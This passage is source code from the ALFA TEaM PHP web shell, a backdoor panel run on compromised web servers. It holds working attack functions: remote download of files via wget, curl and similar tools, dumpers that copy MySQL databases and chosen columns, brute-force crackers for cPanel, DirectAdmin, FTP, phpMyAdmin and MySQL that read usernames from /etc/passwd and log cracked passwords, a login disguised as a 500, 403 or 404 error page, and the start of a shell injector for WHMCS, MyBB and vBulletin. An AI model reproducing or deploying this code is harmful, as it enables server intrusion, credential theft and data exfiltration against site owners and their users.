echo("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
if($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){
$site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['alfa1']);
$target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;
$data = @file_get_contents($target);
if($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}
$target = @json_decode($data,true);
echo __pre();
if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}
echo("</div>");
}
function alfaremotedl(){
alfahead();
echo("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>
<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">
<p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p>
<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='".$GLOBALS['cwd']."'><p><input type='submit' value=' '></p>
</form></p></center>");
if(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){
echo __pre();
$url = $_POST['alfa1'];
$path = $_POST['alfa2'];
echo('<center>');
if(__download($url,$path)){
echo('<font color="green">Success...!</font>');
}else{
echo('<font color="red">Error...!</font>');
}
echo('</center>');
}
echo("</div>");
alfafooter();
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = alfaEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("curl ".$url." -o ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
  if(function_exists("iconv")){
	  $s = trim($string);
	  $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
  }
  return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
	$content = alfaEx("cat '".addslashes($file)."'");
}
return $content;
}
function alfaMarket(){
echo "<div class='header'>";
$curl = new AlfaCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if(!empty($data)){
if($data["status"] == "open"){
	echo $data["content"];
}else{
	echo $data["error_msg"];
}
}else{
	echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
}
echo "</div>";
}
function alfaSettings(){
alfahead();
AlfaNum(6,7,8,9,10);
echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a></h3></center>';
if($_POST["alfa8"] == "main"){
echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
$lg_array = array('0'=>'No','1'=>'Yes');
$penc_array = array('false'=>'No','true'=>'Yes');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach($lg_array as $key=>$val)$protect_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'</option>';
foreach($lg_array as $key=>$val)$icon_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$cgiapi_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa9'])&&$_POST['alfa9']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST['alfa9'])?'selected':'')).'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$postEnc_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa7'])&&$_POST['alfa7']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST['alfa7'])?'selected':'')).'>'.$val.'</option>';
$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
foreach($lg_array as $key=>$val)$login_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'</option>';
echo '';
echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">'.$protect_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">'.$cgiapi_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">'.$postEnc_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">'.$icon_html.'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">'.$login_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="'.(empty($_POST['alfa3'])?$GLOBALS['DB_NAME']['user']:$_POST['alfa3']).'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="'.$GLOBALS['DB_NAME']['safemode'].'"><input type="hidden" name="s" value="'.$GLOBALS['DB_NAME']['show_icons'].'"><p><input type="submit" name="btn" value=" "></p></form></center>';
if($_POST['alfa5']=='>>'){
echo __pre();
if(!empty($_POST['alfa3'])){
$protect = $_POST['alfa1'];
$lgpage = $_POST['alfa2'];
$username = $_POST['alfa3'];
$password = md5($_POST['alfa4']);
$icon = $_POST['alfa6'];
$post_encrypt = $_POST['alfa7'];
$cgi_api_val = $_POST['alfa9'];
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = '/\''.$user_rand.'\'(.*?),/i';
$find_pw = '/\''.$pass_rand.'\'(.*?),/i';
$find_lg = '/\''.$login_page_rand.'\'(.*?),/i';
$find_p = '/\''.$safemode_rand.'\'(.*?),/i';
$icons = '/\''.$show_icons_rand.'\'(.*?),/i';
$postEnc = '/\''.$post_encryption_rand.'\'(.*?),/i';
$cgi_api_reg = '/\''.$cgi_api_rand.'\'(.*?),/i';
if(!empty($username)&&preg_match($find_user,$data,$e)){
$new = '\''.$user_rand.'\' => \''.$username.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){
$new = '\''.$pass_rand.'\' => \''.$password.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
$new = '\''.$login_page_rand.'\' => \''.$lgpage.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($find_p)&&preg_match($find_p,$data,$e)){
$new = '\''.$safemode_rand.'\' => \''.$protect.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($icons,$data,$e)){
$new = '\''.$show_icons_rand.'\' => \''.$icon.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($postEnc,$data,$e)){
$new = '\''.$post_encryption_rand.'\' => '.$post_encrypt.',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($cgi_api_reg,$data,$e)){
$new = '\''.$cgi_api_rand.'\' => '.$cgi_api_val.',';
$data = str_replace($e[0],$new,$data);
}
if(@file_put_contents($basename,$data)){
echo '<b>UserName: </b><font color="green"><b>'.$username.'</b></font><br /><b>Password: </b><font color="green"><b>'.$_POST['alfa4'].'</b></font><script>post_encryption_mode = '.$post_encrypt.';</script>';
}else{
__alert("<span style='color:red;'>File has no edit access...!</span>");
}
}else{
__alert("<span style='color:red;'>UserName is Empty !</span>");
}
}
}elseif($_POST["alfa8"] == "color"){
echo('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
echo '<table border="1"><tbody>';
$template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
$x = 1;
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
	$multi = "";
	if(is_array($value)){
		if(isset($value["multi_selector"])){
			$multi = __ZW5jb2Rlcg(json_encode($value));
		}
	}
	$value = alfa_getColor($key);
	$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
	echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';

echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
if($_POST['alfa7']=='export'){
	echo __pre();
	$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	$array = array();
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array[$k] = $v;
	}
	$file = "alfa_color_config_".date('Y-m-d-h_i_s').".conf";
	$config = json_encode($array, JSON_PRETTY_PRINT);
	if(!@file_put_contents($file, $config)){
		echo('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">'.$config.'</textarea></center></p>');
	}else{
		echo('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$file.'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
	}
}
if($_POST['alfa2']=='>>'){
	echo __pre();
	$colors = json_decode($_POST["alfa1"],true);
	$array = "";
	$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array .= '"'.trim($k).'" => "'.$v.'",';
	}
	@chdir($GLOBALS['home_cwd']);
	$basename = @basename($_SERVER['PHP_SELF']);
	$data = @file_get_contents($basename);
	$color = '/\'color\'(.*?)\),/s';
	if(preg_match($color,$data,$e)){
		$new = "'color' => array(".$array."),";
		$data = str_replace($e[0],$new,$data);
		if(@file_put_contents($basename, $data)){
			echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
		}else{
			echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
		}
	}else{
		echo("<center><p><h3>[-] Error...!</h3></p></center>");
	}
}
}
echo('</div>');
alfafooter();
}
function alfaaboutus(){
alfahead();
echo '<div class="header">';
$news = new AlfaCURL();
$about_us = $news->Send("http://solevisible.com/aboutus.php");
if(empty($about_us)){
$about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>
<b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><br><b>
<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>
<font color='#00A220'>Contact : solevisible@gmail.com</font><br>
<font color='#00A220'>Telegram Channel: @solevisible</font><br>
<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>
<font color='#FFFFFF'>Skype : sole.sad</font><br>
<font color='#FF0000'>Persian Gulf For Ever</font><br>
<font color='#FF0000'>Iranian Programmers</font><br>
<font color='#FF0000'>############</font><br>
</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
}
echo __pre().$about_us;
echo('</div>');
alfafooter();
}
function alfacoldumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if($('dumper-delimiter-type').value == 'delimiter')delimiter=$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = (!empty($_POST['alfa1']) ? $_POST['alfa1'] : '::');
$selected_data = json_decode($_POST['alfa2'], true);
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$db = false;
if(!empty($dbname)){
	$db = @mysqli_connect($host, $username, $password, $dbname);
}
if(count($selected_data) > 0){
	if($db){
		if(!is_dir($dfile)){
			$dfile = $GLOBALS['cwd'];
		}
		$tbls = "";
		$ext = '.txt';
		if($delimiter == 'json'){
			$ext = '.json';
		}
		foreach ($selected_data as $tbl => $cols) {
			$tables_query = mysqli_query($db, "SELECT ".implode(',', $cols)." FROM $tbl");
			$file_name = $dfile.'/'.$dbname.'.'.$tbl.$ext;
			$fp = fopen($file_name, "w");
			$data = array();
			while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
				if($delimiter == "json"){
					$col_arr = array();
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						 $col_arr[$key] = $value;
					}
					$data[$tbl][] = $col_arr;
				}else{
					$data = "";
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						$data .= $value . $delimiter;
					}
					fwrite($fp, $data ."\n");
				}
			}
			if($delimiter == "json"){
				fwrite($fp, json_encode($data));
			}
			fclose($fp);
			$tbls .= "Done ~~~> ".$file_name."<br>";
		}
		echo __pre();
		echo "<center><font color='#00FF00'>".$tbls."</font></center>";
	}
}
if(!empty($dbname) && count($selected_data) == 0){
//echo __pre();
if($db){
	echo("<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>");
	echo("<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>");
	$data = array();
	$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
	while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
		$data[$row["table_name"]] = array();
		$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row['table_name']."`");
		$table_count = mysqli_fetch_row($table_count_q);
		$data[$row["table_name"]]["data_count"] = $table_count[0];
		$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '".$row['table_name']."'");
		while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
			$data[$row["table_name"]]["cols"][] = $row2["column_name"];
		}
	}
	mysqli_close($db);

	echo '<ul id="myUL">';
	foreach($data as $tbl => $cols){
	    echo '<li><span style="color:#00FF00;" class="box">'.$tbl.' ('.$cols["data_count"].')</span><ul class="nested">';
	    foreach($cols["cols"] as $col){
	        echo '<li tbl="'.$tbl.'"><span style="color:#00FF00;" tbl="'.$tbl.'" class="box sub-box">' . $col . '</span></li>';
	    }
	    echo '</ul></li>';
	}
	echo '</ul>';
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function alfaDumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
if(!empty($dbname)){
echo __pre();
$msg = "<center>Check this :  <font color='red'>".$dfile."</font></center>";
if(@mysqli_connect($host,$username,$password,$dbname)){
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'");
echo($msg);
}else{
__alert("Error...!");
}
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function Alfa_DirectAdmin_Cracker($info){
if(!$info['mysql'])
$url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
else $url = $info['protocol'].$info['target'].'/phpmyadmin';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info){
$url = $info['protocol'].$info['target'].':'.$info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/filemanager/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info){
$url = $info['protocol'].$info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/(\d+):(\d+)/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info){
if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
CrackerResualt($info);
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
}
}
function Alfa_FTPC($info){
if($con=@ftp_connect($info['target'],$info['port'])){
if($con){
$login=@ftp_login($con,$info['username'],$info['password']);
if($login){CrackerResualt($info);}}}
@ftp_close($con);
}
function CrackerResualt($info){
$res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ;
$c = @fopen($info['fcrack'],'a+');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method,$info){
switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}
}
function alfaCrackers(){
alfahead();
AlfaNum(9,10);
echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
foreach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value="'.$key.'">'.$val.'</option>');
echo '</select> Protocol: <select id="protocol" name="protocol">';
foreach(array('https://','http://','ftp://') as $val)echo('<option value="'.$val.'">'.$val.'</option>');
echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">'.($GLOBALS['sys']=='unix'?alfaEx("cut -d: -f1 /etc/passwd"):"").'</textarea>
&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
$target = str_replace(array('https://','http://','ftp://'),'',$_POST['alfa1']);
$port = $_POST['alfa2'];
$usernames= $_POST['alfa3'];
$passwords = $_POST['alfa4'];
$fcrack = $_POST['alfa5'];
$cracking = $_POST['alfa6'];
$protocol = $_POST['alfa7'];
$loginpanel = $_POST['alfa8'];
$p = $loginpanel == 'phpmyadmin' ? $p = true : false;
if($cracking=='start'){
echo __pre();
$exuser = explode("\n",$usernames);
$expw = explode("\n",$passwords);
foreach($exuser as $user){
foreach($expw as $pw){
$array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);
Alfa_Call_Function_Cracker($loginpanel,$array);
}
}
echo '<br><font color="red">Attack Finished...</font>';
}
echo '</div>';
alfafooter();
}
function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$string."'>Click Here !</a></font></b></center><br><br>";}
function alfaShellInjectors(){
alfahead();
echo '<div class=header>';
AlfaNum(11);
echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){
AlfaNum();
echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}".ALFA_UPLOADER.";{/php}";
$newin = str_replace("'","\'",$index);
